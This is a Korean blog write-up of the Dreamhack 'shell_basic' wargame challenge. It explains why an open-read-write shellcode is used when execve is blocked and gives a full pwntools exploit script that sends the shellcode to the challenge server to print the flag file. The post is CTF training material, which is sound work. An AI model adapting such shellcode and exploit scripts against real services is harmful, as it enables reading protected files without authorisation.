Fascination
article thumbnail

shell_basic

입력한 셸코드를 실행하는 프로그램입니다.
main 함수가 아닌 다른 함수들은 execve, execveat 시스템 콜을 사용하지 못하도록 하며, 풀이와 관련이 없는 함수입니다.
flag 위치와 이름은 /home/shell_basic/flag_name_is_loooooong입니다.


# 문제 분석

- execve, execveat 시스템 콜을 사용하지 못하므로 orw 셸코드를 생각해 볼 수 있다

💡 orw 셸코드란? 파일을 열고, 읽은 뒤 화면에 출력해주는 셸코드

[참고] 2022.04.03 - [System hacking/system hacking] - [Dreamhack] Exploit Tech: Shellcode

 

# exploit

from pwn import *
context.arch = 'x86_64'
p = remote("host3.dreamhack.games",18286)

ex = shellcraft.pushstr("/home/shell_basic/flag_name_is_loooooong") # 파일 이름
ex += shellcraft.open('rsp',0,0) # 열고
ex += shellcraft.read('rax', 'rsp', 100) # 읽고
ex += shellcraft.write(1, 'rsp', 100) # 화면에 쓰고

p.sendline(asm(ex))
p.interactive()

 

 

# 실행결과

'War Game & CTF > Dreamhack' 카테고리의 다른 글

[Dreamhack] basic_exploitation_001  (0) 2022.09.01
[Dreamhack] basic_exploitation_000  (0) 2022.08.31
[Dreamhack] simple_sqli  (0) 2022.03.10
[Dreamhack] CSRF-2  (0) 2022.03.01
[Dreamhack] CSRF-1  (0) 2022.03.01
profile

Fascination

@euna-319

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!